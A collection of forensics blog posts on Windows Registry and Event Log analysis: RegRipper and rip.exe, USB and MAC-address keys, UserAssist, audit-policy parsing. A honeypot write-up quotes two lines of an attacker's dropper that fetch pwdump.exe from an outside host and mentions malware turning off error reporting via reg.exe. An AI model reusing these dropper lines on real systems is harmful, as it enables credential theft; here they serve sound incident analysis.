Portable Devices on Vista

Rob Lee shared an interesting tidbit of Vista Registry goodness with me recently...basically, the Vista Registry maintains some historical data on the drive letters that had been assigned to portable devices. Sweet!

The key in question is:
HKLM\Software\Microsoft\Windows Portable Devices\Devices

The subkeys beneath this key contain the device names...and the FriendlyName value contains the drive letter.

Rob discovered this as a part of the Computer Forensics SANS course as part of the section on Application Forensics where he and the class were examining U3 device footprints on a VISTA machine. (rlee@sans.org for contact info)

Very cool, Rob, and thanks for sharing!

And yes, I've already written a plugin for RegRipper...I KNEW you were going to ask that! =)
The output looks like:

Device : DISK&VEN_APPLE&PROD_IPOD&REV_1.62
LastWrite : Fri Sep 21 01:42:42 2007 (UTC)
SN : 000A270018A0E610&0
Drive : IPOD (F:)

Device : DISK&VEN_BEST_BUY&PROD_GEEK_SQUAD_U3&REV_6.15
LastWrite : Thu Feb 7 13:26:19 2008 (UTC)
SN : 0C90195032E36889&0
Drive : GEEKSQUAD (F:)

Device : DISK&VEN_CASIO&PROD_DIGITAL_CAMERA&REV_1.00
LastWrite : Sat Dec 15 01:17:56 2007 (UTC)
SN : 6&14BB4B7C&0
Drive : Removable Disk (F:)

Ripping the Registry w/ rip.exe

While I was developing the RegRipper, I found that I could use some means of testing plugins without having to fire up the RegRipper GUI each time, particularly if I just wanted to modify how the output was displayed...for example, once I got all the information I needed, say that I wanted to parse it and have it displayed based on the Registry key LastWrite times (so that it's easier to correlate to an incident timeline...). Do I want to fire things up all over again, or simply re-run the last command line?

So I wrote rip.exe, a small CLI utility that uses the same plugin structure as RegRipper, and lets me either run a single plugin against a hive file, or run an entire plugins file against a hive file. Here's what the syntax for rip.exe looks like:

Rip [-r Reg hive file] [-f plugin file] [-p plugin module] [-l] [-h]
Parse Windows Registry files, using either a single module, or a plugins file.
All plugins must be located in the "plugins" directory; default plugins file
used if no other filename given is "plugins\plugins".

-r Reg hive file...Registry hive file to parse
-f [plugin file]...use the plugin file (default: plugins\plugins)
-p plugin module...use only this module
-l ................list all plugins
-h.......................Help (print this information)

Ex: C:\>rr -r c:\case\system -f system
C:\>rr -r c:\case\ntuser.dat -p userassist.pl
C:\>rr -l

All output goes to STDOUT; use redirection (ie, > or >>) to output to a file.

copyright 2008 H. Carvey

Pretty cool. I even threw in a switch to just list all of the plugins in the plugins directory; the output includes the name of the plugin, the version, which hive file each plugin is for (ie, NTUSER.DAT, System, Software, etc.), and brief description of what the plugin does. Here are a couple of examples:

7. auditpol v.20080327 [Security]
- Get audit policy from the Security hive file

8. bho v.20080325 [Software]
- Gets Browser Helper Objects from Software hive

9. cmd_shell v.20080328 [Software]
- Gets shell open cmds for various file types

10. comdlg32 v.20080324 [NTUSER.DAT]
- Gets contents of user's ComDlg32 key

11. compdesc v.20080324 [NTUSER.DAT]
- Gets contents of user's ComputerDescriptions key

12. compname v.20080324 [System]
- Gets ComputerName value from System hive

13. devclass v.20080331 [System]
- Get USB device info from the DeviceClasses keys in the System hive

14. fw_config v.20080328 [System]
- Gets the Windows Firewall config from the System hive

So let's say that I have an image of a Windows system, and I've either extracted the Registry hive files from the image and placed them in a directory, or I've mounted the image file as a read-only file system using Mount Image Pro or VDKWin. If I want to take a cursory look at some things to sort of get an idea of what I'm looking at, I can run rip.exe to collect info for me:

C:\tools>rip rip -r d:\cases\ntuser.dat -p userassist

Let's say that I want to run an entire plugins file against a hive file...

C:\tools>rip rip -r f:\windows\system32\config\software -f software

Pretty straight-forward, simple, and quick. Very efficient, and keeps mistakes down. Rip.exe can also be incorporated into a batch file, to further enhance processing and reduce an analyst's interaction with the data even further.

Registry Analysis Myths

No, sorry...I don't have a lisp...

Based on a recent comment, it occurred to me that there are several myths regarding Registry analysis that are apparently accepted as fact...and I'd like to address those myths...

Myth #1
Registry analysis is time intensive.
Anything we don't understand is inherently "time intensive" due to the learning curve. However, think about when you were a teen-ager (for folks like me, that era is lost in the mists of time...) and you had a passionate desire to learn to drive. Learning to drive was time intensive, wasn't it? After all, in most cases, we didn't know how and had to learn...which took time (more so if you were learning to drive a stick). Leap forward to adulthood, and think about how "time intensive" it was to learn to do computer forensic analysis, either on your own or through vendor-specific training. Until you understand something, everything is time intensive. Maybe Blade said it best: When you understand the nature of a thing, you know what it's capable of.

Tools like the RegRipper remove the need for opening hive files by hand to search for specific keys, value names and data, and then, if necessary, translating them by hand. How cumbersome would it be to navigate to the UserAssist keys via RegEdit, and have to translate every value name (un-ROT-13) and then translate every FILETIME object? Eesh...I don't wanna think about it...b/c I can do it quickly by firing up the RegRipper, or just use rip.exe. Fast, efficient, and I get my output sorted based on the timestamps. Suh-weet!

Myth #2a
Registry analysis solves everything.
Not true...like any other form of forensic analysis, Registry analysis has its own inherent limitations. For one, if the data isn't there, it can't be analyzed...kind of simplistic, I know, but thanks to shows like CSI, some folks think that computer forensics can show files copied to and from a hard drive, without the other piece of media. There are limits to everything.

Myth #2b
Registry analysis has absolutely no benefit.
Again, not true. Registry analysis can show things not evident through traditional forensic analysis, such as associating specific activities with a specific user account, or showing that certain files (by name) were viewed long after the files themselves have been deleted from the system and overwritten. The same is true with applications on the system...information about EXEs that had once been on the system can be found in the UserAssist, MUICache, App Paths, and possibly even in the Uninstall key values.

Registry analysis can also show that certain files had been accessed...not only that they had been, but possibly even when and how/in what manner, by a specific user. Sometimes, this information can't be found through normal ASCII text searches, because the data itself if stored as a binary data type, and must be parsed into something that is human readable.

More about the Registry...

While my recent posts have been about Registry analysis, I didn't want to ignore the work that has been done with regards to extracting Registry information (key, values, etc.) from other sources, such as RAM and process dumps, unallocated space, the pagefile, etc.

Moyix over at the Push The Red Button blog has posted some really good information lately on Registry cell index translation, even going back to his enumerating Registry hives post from Feb. He's got a great deal of excellent information in these posts that can be used to merge Registry and physical memory analysis.

Segue: While we're on the subject of memory analysis, check out this "Practical of "15 Minute Virus Analysis"" post from the ForensicZone...seems someone found a good use for lspm.exe. ;-)

Registry Slack
Also, there's a question of Registry slack...cells within a hive file that contain key or value data, but are not recognized by the MS API. This is different from unused keys and values that still exist after an application has been removed from the system...largely due to the fact that these keys and values may still be viewable via RegEdit or any other tool. What I'm referring to is this...Registry key cells contain pointers to other key cells, as well as values...so basically, everything you see in most Registry viewers is a result of following links from root key, in much the same way as every file within an active file system will have a path back to the root directory. However, the question of Registry slack...cells within the hive file that may be valid key or value cells but are not linked into the visible Registry structure...still remains unanswered. Hopefully, though, not for long...there's a thesis student in Europe who has taken on the exercise of exploring this area.

More Registry Analysis...

I think that in discussing Registry analysis, one of the shortcomings we're facing is the translation to the analyst of why something like this is (or can be) important, and how it can be used to benefit the analyst, as well as support an examination. After all, I think that most folks understand, perhaps somewhat intuitively, the usefulness of files within the active file system (as well as file metadata, such as MAC times), log file entries, etc. Where Registry analysis is falling short (from an adoption perspective) is (a) a solid understanding by the analyst of how this can benefit an exam, and (b) easy, intuitive tools for conducting Registry analysis.

Well, I think we've covered (b) pretty well...or, at the very least, started addressing it.

A short, Reader's Digest version of (a) is that the Registry holds a great deal of configuration information about the system, as well as information specific to the user's activities on the system. Much of this information is timestamped, as well (Note: recent experience shows that Win98/ME Registry keys do not enjoy the privilege of a LastWrite time...), making the Registry extremely useful and akin to a log file.

Now, Registry analysis will not benefit every exam, of course...each exam has it's own unique twists, and if you're a consultant, requirements. However, a great deal of Registry analysis is straightforward, simple, and easily accomplished...and in some cases can greatly benefit your exam. For example, consider this blog post by SynJunkie...a while back, I'd figured out that some AV vendors we're maybe passing some spurious info in their malware write-ups, and decided to look into the MUICache key. In the absence of any credible documentation from the vendor, some folks have found something very useful about this key.

Traditional file system-based computer forensic analysis may show the analyst that an image or movie is or was on a system...Registry analysis will show you who viewed it, and possibly even when. In the past, I've used Registry analysis to show that one employee was connecting to another employee's system and grabbing copies of her Trillian logs, and reading all of her conversations...I was even able to demonstrate that he'd viewed some of her log files and then deleted them, as well as the most recent time that he'd read one of those log files.

Registry Analysis - What Is It??

That's right...what is this thing we call "Registry analysis"? When someone performs "Registry analysis", what are they doing?

Okay...raise your hand if, for you, Registry analysis consists of looking for strings (using strings, or BinText, or your favorite tool), or maybe using grep() to do regex searches for IP addresses, email addresses, or something else.

Great, thanks. You can put your hands down.

Now, raise your hand if when performing Registry analysis, you open the hive files you're interested in with one of the popular Registry viewers (EnCase, FTK, ProDiscover, or even good ol' RegEdit), and "look around for anything interesting". Keep it up there if you use some sort of checklist or spreadsheet of Registry keys that may be of interest for your case or exam.

Okay...great. Go ahead and put your hands down.

So, what's wrong with either of these methodologies? Cumbersome? Inefficient? In some cases, ineffective? Ever wonder what you're missing? How about...A LOT?

The fact of the matter is, I really believe that Registry analysis isn't being performed today nearly as much as it should because it isn't "easy". I mean, sure, you've got this file that contains all this data, all this potential "evidence" (depending upon the audience, of course), but you don't know (a) how to get it, and maybe even (b) how to interpret it. After all, Registry viewers don't give you what you need, do they? They just present the data as is...it's up to you, the investigator or analyst to make heads or tails of it.

What if you just want to get the most recent document accessed...not just by the user, but via various applications, such as RealPlayer, maybe an image viewer, Excel, Adobe Reader, or even just by one of the common dialogs? If you're just looking for documents accessed, there are a LOT of places to look in the Registry...and using a checklist can take a long time. Also, due to encoding used by various vendors, regular ASCII/Unicode string searches won't work. So what if your "checklist" could be run against the Registry hive file itself?

What about those times when you have to correlate between multiple Registry keys, such as when you're trying to find out about those installed BHOs, or trying to determine when a USB thumb drive was last plugged into the system? How cumbersome is that?

How would you like to rip through your Registry analysis, getting just what you need, presented in the way you need it, or at least a way that's usable? Forget spreadsheets and checklists...how about plugins (stuff like Nessus and Metasploit use plugins, right?) that reach out and get what you want? How about...in order to update this tool, plugins just need to be dropped into a directory, and they're ready to use? How about it this all came with a GUI and a nice "FindAllEvidence" button?

What if you could also get timestamped data (ie, most recently accessed documents, UserAssist entries, etc.) so that you could import it into a format such as Excel, or even XML (for use with Simile TimeLine)?

Know what's really cool about the timestamped data? In order for it to be placed in the user's Registry hive file (NTUSER.DAT), the user account needs to be logged into the system. Sounds pretty simple, doesn't it? Hit most public lists, though, and you'll see questions such as, "how do I tell when a user was logged on if auditing of logon events isn't recorded in the Security Event Log?" (I'm paraphrasing, of course). Well, in most cases, when someone logs on, they do something...right? Look at all of the user activity that is recorded (I say 'recorded" because in many ways, the Registry is a log file, of sorts) in the user's hive file...and then correlate that to other activity (Internet browser history, etc.) that may be available.

Sound pretty cool? How about flippin' sweet?!?

The fact is, there's "lookin' at" the Registry, and then there's doing real Registry analysis and getting the data you need.

Addendum
Some might be wondering, "What is it about Registry analysis that's so hot? After all, I get all of the information/evidence I need from the file system." Well, I can only speak to those things that I've determined through Registry analysis...logon history, files accessed, files NOT accessed, applications that had been installed, run, and then uninstalled, etc. There is a great deal of information...much of it historical, much of it associated in some way with a time stamp...right there in the Registry.

Addendum, 1 Apr
Okay, this isn't a joke...but I added three plugins to the RegRipper last night. One for the Uninstall key in the Software hive (all entries sorted based on the key LastWrite times), as well as one for the USBStor key, and another for the DeviceClasses keys...both in the System hive.

Adding a plugin for the Protected Storage System Provider is going to be problematic until I get some info how to decrypt the data in the "Item Data" values.

Deleted Apps

Another question I've received, as well as seen in online forums, has to do with locating deleted applications.

As Windows performs some modicum of tracking of user activities, you may find references to applications that were launched in the UserAssist keys in the user's NTUSER.DAT file. Not only would you find references to launching the application or program itself, but I've seen where the user has clicked on the "Uninstall" shortcut that gets added to the Program menu of the Start Menu. I've also seen in the UserAssist keys where a user has launched an installation program, run the installed application, and then clicked on the Uninstall shortcut for the application.

You may also find references to the user launching the "Add/Remove Programs" Control Panel applet.

If you're dealing with an XP system you may find that if the application was originally installed via an MSI package, a Restore Point was created when the application was installed...and one may have been created when the application was removed, as well. So, be sure to parse those rp.log files in the Restore Points.

An MFT entry that has been marked as deleted is great for showing that a file, or even several files, had been deleted. Analysis of the Recycle Bin/INFO2 file may show you something useful. But there are other ways to find more data, to include showing that at one time, the application had been used...such as by parsing the .pf files in the XP Prefetch directory, and performing Registry analysis.

Other Resources:
Intentional Erasure

The MAC Daddy

I received a question in my inbox today regarding locating a system's MAC address within an image of a system, and I thought I'd share the response I provided...

"The path to the key that tells you which NICs are/were in use on the system is:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards

Beneath this key, you will see a set of subkeys, each with different numbers;
on my system, I see "10", "12", and "2".  Each of these keys contains values;
Description and ServiceName. The ServiceName value contains the GUID
for the interface.

Using the GUIDs, go to:
HKLM\SYSTEM\ControlSet00x\Services\Tcpip\Parameters
 \Interfaces

*Be sure to use the ControlSet marked as "Current".

Beneath this key, you'll see subkeys with names that are GUIDs.  You're
interested in the GUIDs you found beneath the previous key.  Within each key,
you will find the values associated with that interface.

By default, Windows does not retain the MAC address in the Registry.  I'm
aware that there are sites out there that say that it does, but they are incorrect...
at least, with regards to this key.  If you *do* find an entry within the "Interfaces"
key above that contains a value such as "NetworkAddress", it is either specific
to the NIC/vendor, or it's being used to spoof the MAC address (this is a known
method).

Also check the following key for subkeys that contain a "NetworkAddress" value:
HKLM\SYSTEM\ControlSet001\Control\Class
    \{4D36E972-E325-11CE-BFC1-08002bE10318}

Other places you can look for the MAC address:

*Sometimes* (not in all cases) if you find the following key, you may find a value
named "MAC", as well:
HKLM\SOFTWARE\Microsoft\Windows Genuine Advantage

Another place to look is Windows shortcut (*.lnk) files...Windows File Analyzer
is a GUI tool that parses directories worth of *.lnk files and one of the fields that
may be populated is the MAC address of the system."

I thought others might find this helpful as well...

Pimp my...Registry analysis

There are some great tools out there for viewing the Registry in an acquired image. EnCase has this, as does ProDiscover (I tend to prefer ProDiscover's ability to parse and display the Registry...) and AccessData's Registry Viewer. Other tools have similar abilities, as well. But you know what? Most times, I don't want to view the Registry. Nope. Most times, I don't care about 90% of what's there. That's why I wrote most of the tools available on the DVD that ships with my book, and why I continue to write other, similar tools.

For example, if I want to get an idea of the user's activity on a system, one of the first places I go is to the SAM hive, and see if the user had a local account on the system. From there, I go to the user's hive file (NTUSER.DAT) located in their profile, and start pulling out specific bits of information...parsing the UserAssist keys, etc...anything that shows not only the user's activities on the system, but also a timeline of that activity. Thanks to folks like Didier Stevens, we all have a greater understanding of the contents of the UserAssist keys.

Now, the same sort of thing applies to the entire system. For example, one of the tools I wrote allows me to type in a single command, and I'll know all of the USB removable storage devices that had been attached to the system, and when they were last attached. Note: this is system-wide information, but we now know how to tie that activity to a specific user.

On XP systems, we also have the Registry files in the Restore Points available for analysis. One great example of this is the LEO that wanted to know when a user had been moved from the Users to the Administrators group...by going back through the SAM hives maintained in the Restore Points, he was able to show approximately when that happened, and then tied that to other activity on the system, as well.

So...it's pretty clear that when it comes to Registry analysis, the RegEdit-style display of the Registry has limited usefulness. But it's also clear that there really isn't much of a commercial market for these kinds of tools. So what's the answer? Well, just like the folks who get their rides or cribs pimped out on TV, specialists bring a lot to the table. What needs to happen is greater communication of needs, and there are folks out there willing and able to fulfill that need.

Here's a good question to get discussion started...what's good, easy-to-use and easy-to-access format for a guideline of what's available in the Registry (and where)? I included an Excel spreadsheet with my book...does this work for folks? Is the "compiled HTML" (ie, *.chm) Windows Help format easier to use?

If you can't think of a good format, maybe the way to start is this...what information would you put into something like this, and how would you format or organize it?

Some new things...

I've been offline and not posting for a while, I know...not much time to post with so much going on during my day job (but that's a Good Thing).

A couple of new things have popped up recently that I wanted to share with everyone. First, Didier Stevens has produced an update to his UserAssist program, for parsing the UserAssist Registry keys on a live system. This update parses the GUIDs, giving you even more information about the user's activities. This is something that I'll have to add to my own tools that parse the same keys, but during post-mortem analysis.

Second, Peter Burkholder over at Ellipsis has produced a patch for running my Forensic Server Project (FSP) on *nix-variant systems, to include MacOSX. I have said from the very beginning that this could be done, and Peter has gone and done it! Very cool!

Jesse Kornblum has released md5deep 2.0, which has some new features and bug fixes...check it out.

If I've missed anything, please drop me a line and let me know...

Registry Analysis

You've probably noticed a huge gap between posts...sorry about that. Contrary to popular belief, I don't just sit around all day writing books. ;-) In addition to actually working, I like to think about ways to make my job easier, and to make the final product of my analysis better. Like many, I've known for sometime that considerable, valuable data exists in the Registry...there's a quite a bit there, whether you're looking for evidence of devices attached to the system, or of user activity. One of the things I've noticed is that there are a good number of tools available that allow you to do Registry data extraction...that is, pull data from the Registry, presenting the data found in a key or value. AccessData has their Registry Viewer, tools such as EnCase and ProDiscover allow you to visualize the Registry data...however, all of these are just tools, and each has their own strength and weakness.

One of the issues that confronts us today is knowing what we're looking at or looking for. Having a tool present data to us is nice, but if we don't know how that data is populated, then what good is the tool when some one-off condition is encountered? If the analyst does not understand how the artifact in question is created or modified, then what happens when the data that he or she expects to see is not present? Remember Jesse's First Law of Computer Forensics and my own subsequent corollary?

Why is this important? Well, for one, there's been a great deal of discussion about antiforensics lately, starting with a couple of articles in CIO and CSO magazines. "Antiforensics" and "counterforensics" (thanks to Richard for definitions) are not new concepts at all...the use of such activities has been around for quite some time. However, systems are becoming more and more complex, and at the same time, feature-rich. One of the benefits of Windows XP, for example, is that the feature-rich nature of the operating system goes some lengths in offsetting the inherent antiforensic features of the operating system.

So...let's try to come full circle...Registry analysis comes into play in assisting the investigator in determining what happened, and in many cases, when. Registry analysis can provide key or corroborating data. No tool out there will provide everything an investigator needs...it's up to the investigator to understand what's needed (ie, which Registry keys pertain to a particular P2P client, or which show the files most recently accessed with an image viewing utility?) and then understand how to get it. There are tools out there that do not have pretty GUIs and buttons you can push that will provide you with that information.

More on (the) UserAssist keys

Didier Stevens has continued some of his excellent work regarding the UserAssist keys in the Registry. This morning, he posted an entry that explains part of the value names that appear when you decode (ie, un-ROT-13) the names. He has added the capability of providing an explanation to his UserAssist tool.

When you decode the value names from beneath the UserAssist\{GUID}\Count keys, you see that the value names begin with "UEME_" and include names like "RUNPIDL" and "RUNCPL", to name just a few. Since research into these Registry entries began, no one has really known or explored what these refer to...until now. Didier has done an excellent (say "excellent" the way Mr. Burns...more data on Wikipedia...does from "The Simpons", while tenting your fingers...) job of digging into what they mean, as well as providing that explanation via his tool.

If you get a chance, please be sure to thank Didier for his work, and if you see him at a conference, buy him a beer!

Addendum, 5 Sept: Rich over at ForensicZone.com has an interesting web page posted about extracting UserAssist key value names from memory dumps. This is a very interesting move on Rich's part...I've been looking at memory dumps and finding the "magic numbers" for Registry keys and values, but I have yet (due to time constraints) to go as far as writing code to pull out the key/value structures. The interesting thing about this (I think...being the complete nerd that I am) is that if we dump the contents of physical memory and then are capable of parsing out images used by each process as well as the memory used by each process, we can then (potentially) find Registry keys and values that we can associate with a specific process, but have yet to be written to disk! In addition, we know from the Registry key structure that the keys (albeit not the values) have a timestamp associated with them, increasing their evidentary value. Great catch, Rich! I hope you and Didier keep up the great work you've been doing!

Addendum, 7 Sept: Wow, when things get rolling, it's amazing! Didier and I have exchanged a couple of emails discussing various aspects of the UserAssist keys and some of the more esoteric settings that are out there, and according to some, have actually been used! Didier's a veritable fountain of energy and enthusiasm when it comes to researching this kind of thing, so keep an eye on his blog for more good things!

EventLog Analysis

In my book, I covered the Windows 2000, XP, and 2003 EventLog file header and event record structure in some detail. There's also a Perl script or two on the DVD that accompanies the book that let you parse an Event Log without using the Windows API, so that you avoid that pesky message about the Event Log being corrupted.

I've since updated one of the scripts (changing the name to evt2xls.pl), so that now it writes the information that it parses from the Event Log file directly into an Excel spreadsheet, even going so far as to format the date field to that it "makes sense" to Excel when you want to sort based on the date. I've found that writing the data directly to a spreadsheet makes things a bit easier for me, particularly when I want to sort the data to see just certain event record sources, or perform some other analysis. I've also added some functionality to collect statistics from the Event Log file, and display information such as total counted event records, frequency of event sources and IDs, etc., in a separate report file. I've found these to be very useful and efficient, giving me a quick overview of the contents of the Event Logs, and making my analysis of a system go much smoother, particularly when combined with Registry analysis (such as parsing the Security file for the audit policy...see the Bonus directory on the DVD for the Perl script named poladt.pl and its associated EXE file). One of the things I'm considering adding to this script is reporting of successful and failed login attempts, basing this reporting in part on the type of the login attempt (ie, Service vs Local vs Remote).

Here's something to think about...there is sufficient information in the book, and Perl code on the DVD, such that you can create tools for parsing of event records from other sources, such as RAM dumps, the pagefile, and even unallocated space. I'm considering writing a couple of small tools to do this...not search the files, specifically (I can add that to the code that parses RAM dumps) but to start by simply extracting event records given a file and an offset within the file.

But what about actual Event Log analysis? What about really using the Event Log to get some insight into activity on the system? What can we look for and how can we use it?

Here are some tidbits that I've come across and use...please don't consider this a complete list, as I hope that people will contribute. This is just to get folks started...

Stephen Bunting has a great write-up that explains how to use the Event Log to track time change events, such as when someone alters their system time.

The Application Event Log is a great place to look for events generated by antivirus applications. This will not only tell you if an antivirus application is installed on the system (you can also perform Registry analysis to determine this information), but perhaps the version, when it was active, etc.

In the System Event Log, Event ID 6161 (Source: Print) tells you when a file failed to print. The event message tells you the name of the file that failed to print, the username, and the printer.

Also in the System Event Log, Event ID 35 (Source: W32Time) is an Information event that tells you that your system is sync'ing with a time server, and provides the IP address of your system. This can be very useful in a DHCP environment, as it tells you the IP address assigned to the system (actually, the interface) at a particular date and time.

Windows Defender (Source: WinDefend) will generate an event ID 1007 when it detects malware on a system; the event strings contain specific information about what was found.

Whenever you're doing Event Log analysis, be sure to go to EventID.net for help understanding what you're looking at. Most of the listed event IDs have detailed explanations of what can cause the event, as well as links to information at MS.

Again, this is not a complete list of items that you may find and use in your analysis...these are just somethings that come to mind. And remember, you get a bit more out of Event Log analysis when you combine it with Registry analysis, not only of the audit policy for the system and the settings for the Event Logs, but with other sources, as well.

Links
EventLog Header structure
Event Record structure
EventLog EOF record structure
EventLog File Format

Determining the version of XP

I received an interesting comment to one of my recent blog posts...the poster was musing that he wished he could determine the version of XP (Home or Pro), presumably during a post-mortem examination. As this struck my interest, I began to research this...and most of what I found applies to a live running system. For example, MS has a KB article that tells you how to determine the version of XP you've got. Also, the WMI class Win32_OperatingSystem has a value called "SuiteMask" which will let you determine the version of the operating system; to see if you're on the Home version of XP, perform a logical AND operation with the SuiteMask value and 0x0200 (the "Personal" bit) - if it succeeds, you're on XP Home. You can also use the Win32::GetOSVersion() function in Perl, or implement the WMI Win32_OperatingSystem class in Perl.

This information seems to be maintained in memory, and appears to be retrieved using the GetVersionEx() API function. Running a couple of tests to extract the information while running RegMon doesn't appear to reveal anything interesting as far as Registry keys that are accessed while attempting to determine the OS version.

During a post-mortem examination, you can go to the file "%WinDir%\system32\eula.txt" and locate the last line of the file that begins with "EULAID", and you'll see something similar to:

EULAID:XPSP2_RM.0_PRO_OEM_EN

If it says "HOM" instead of "PRO", you're dealing with the Home version of XP.

Also, you can try the file "%windir%\system32\prodspec.ini", and right below the line that says "[Product Specification]", you'll see an entry that will tell you which version of the OS you're working with (note: be sure to check the last modification date on these files, as well...).

Links
Determine the version of IE installed
Check the Version of Office XP
Determine the Windows version using C# (using VB)
32- or 64-bit version of Windows?

Some Registry stuff...

I like "Registry stuff". I don't know what the fascination is, but for some reason, I love stuff that has to do with the Registry.

Anyway, I ran across something recently...I was looking at one of my own systems and ran across an interesting value in my AppInit_DLLs Registry value. Just the fact that there was data within this value was interesting enough! But then I saw something even more interesting...another value named LoadAppInit_DLLs. I haven't found anything specific about this value at the MS site yet, but this appears to be a Vista-only Registry value, in that it is only recognized and utilized by the Vista operating system. This is covered briefly in Symantec's Analysis of the Windows Vista Security Model paper.

This value appears to be used by PGP, as well as some tools from Google (both of these are based on Google searches for occurances of the value name).

On the topic of the Registry, here's how to use PowerShell to get the name of the last user to log onto a system.

So, what are you looking in the Registry for...or looking for in the Registry?

Links:
Forensics Wiki: Windows Registry
The Windows Registry as a Forensic Resource
Alien Registry Viewer
32-bit Application access to the Registry on 64-bit versions of Windows

Event Logs in Unallocated Space

I received an email from a friend recently, asking about finding an Event Log in unallocated (ne "free") space. He mentioned that he'd found it using a hex editor and copied it out of the image to a separate file, but still couldn't open it in the Event Viewer.

That got me thinking about the content of my book, and how that could be useful in a situation like this. On page 201 of Windows Forensic Analysis, table 5.3 lists the event record structure; that is, what an event record "looks like". With this information alone, event records can be retrieved from unallocated space; once you find the "magic number", back up 4 bytes and you've got the size of the event record. From there, you can copy out the entire event record and the rest of the information within the record can be easily parsed from unallocated space, or even from the pagefile or a RAM dump.

A post from another forum got me thinking that the same is true for Registry keys, as well. Figure 4.3 illustrates a hex view of what a Registry key and a Registry value "look like" on disk. Using this information, as well as the code listed on pgs. 133 and 134, Registry keys and values can be extracted and reconstructed from unallocated space, the pagefile, or even a RAM dump.

The great thing is that event records and Registry keys have time stamps associated with them (Registry values do not). This also illustrates what can be retrieved from these other areas through data carving...after all, event records and Registry structures have "magic numbers", similar to file headers, and their data can be carved out just as easily.

Something Else To Look For...

Not long ago, Didier Stevens blogged about Windows Safe Mode and some Registry keys/values that pertain to Safe Mode. He filed this blog entry under "hacking". One of the cool things about computer forensics is that it's the flip side of hacking...discovering artifacts or "footprints" to find what kind of things happened on a system when it was "hacked".

Didier points out in his blog post how easy it is to write your own service that launches from Safe Mode. As more and more malware authors seem to be choosing a Windows service over the ubiquitous Run key in order to maintain the persistence of their malware on a system, it simply makes sense that a check should be made of the SafeBoot (Windows 2000, XP) key, as well.

Is this really such an issue, something you should be concerned about when performing IR or conducting an investigation? Let me add some perspective...not long ago, I examined a worm that had infected several systems, and it created an entry for itself in the RunOnce key; the entry was prepended with a "*". Does anyone get the significance of that?

Something New To Look For

Over on the Windows Forensic Analysis group, Hogfly mentioned something he'd found in a honeypot that had been compromised by the MS DNS exploit...a script that modified several values within the following Registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting

The values modified include:

AllOrNone
DoReport
IncludeKernelFaults
IncludeMicrosoftApps
IncludeWindowsApps
IncludeShutdownErrs
ShowUI

So, what's this all about? Remember how some malware tries to shut off AV software or the Windows Firewall? Well, the script that Hogfly found uses reg.exe to set all of the values (except the first one) to 0, and effectively shuts down any error reporting, which is essentially a visual notification that something is wrong on the system.

When performing IR or CF Registry analysis, this is another place to look regarding issues on a system following an intrusion or compromise. If nothing else, this sort of information can provide you with some insight as to the technical sophisitication of the attacker or malware author.

Addendum, 29 Apr: From Hogfly's updated post on the analysis of the honeypot: here's an extract from a .vbs script that was created on the system:

echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs

These lines make the resulting script work like a dropper, reaching out to another site and grabbing a file. Under the hood, the script uses the WinInet API (the "GET" functionality, specifically), which will leave other artifacts on the system; specifically, you will see web browser history (ie, Temporary Internet Files) for the "Default User". Robert Hensing has an excellent write-up on this phenomenon; in a nutshell, whenever the WinInet API functions are executed from a System-level account, the TIF history appears within the "Default User" profile.

Links
Error Reporting Policies and Advanced Features
BitCruncher Script for Annoyances

Scripts for parsing the Registry

I was working on a script recently to expand the reach of the Registry Analysis material in my upcoming book, and I thought it would be a good idea to implement something that would parse the audit policy from a system. So I wrote poladt.pl, a Perl script that uses the Parse::Win32Registry module to extract the necessary value from the raw Security file and parse it, displaying the audit policy as shown below:

G:\perl>poladt.pl d:\cases\security
LastWrite: Fri Sep 9 01:11:43 2005 (UTC)
Auditing was enabled.
There are 9 audit categories.

Privilege Use..............None
Object Access..............None
Account Logon Events.......Both
System Events..............Both
Policy Change..............Both
Logon Events...............Both
Account Management.........Both
Directory Service Access...None
Process Tracking...........None

Note: I added the little dots so that the output would line up better and be easier to read; formatting in the blog is a little beyond my current skillset.

Pretty neat, eh? You can compare this to the contents of the Event Logs (I still use the File::ReadEvt module that I wrote to do this, as the Event Viewer still reports the files as corrupted sometimes when you extract them from an image and try to import them into the Event Viewer on your analysis system). If I get any information about other values to parse out of the raw Security file, I'll add that to a script and call it "SECParse".

This script is will be found in the Bonus section of the DVD that comes with my book. Look for Windows Forensic Analysis from Syngress later this spring.

SAMParse

Not too long ago, I blogged about using the Parse::Win32Registry module to parse raw Registry files, specifically the SAM file.

Since then, I've added to the code a bit, so that not only does it retrieve user information, but group membership info, as well. In this way, it's similar to the ProDiscover ProScript I use to do the same thing, only SAMParse works on the raw Registry file, and can be used when exporting the SAM file from your image. It also works on the SAM files located in the Windows XP System Restore Points. It's a useful tool and requires some additional testing, but for the most part it does provide me with a view into a Windows system that I wouldn't otherwise have.

As a side note, I've also written a tool that parses the audit policy from the Security file, returning information similar to what you can view on a live system using auditpol.exe. When combined with other information from the Registry, this lets me know what I should expect to see in the Event Logs.

Both of these scripts, and others, are provided on the DVD that comes with my upcoming book, "Windows Forensic Analysis", due out from Syngress/Elsevier this spring. The scripts will be provided as Perl code, as well as standalone executables 'compiled' using Perl2Exe.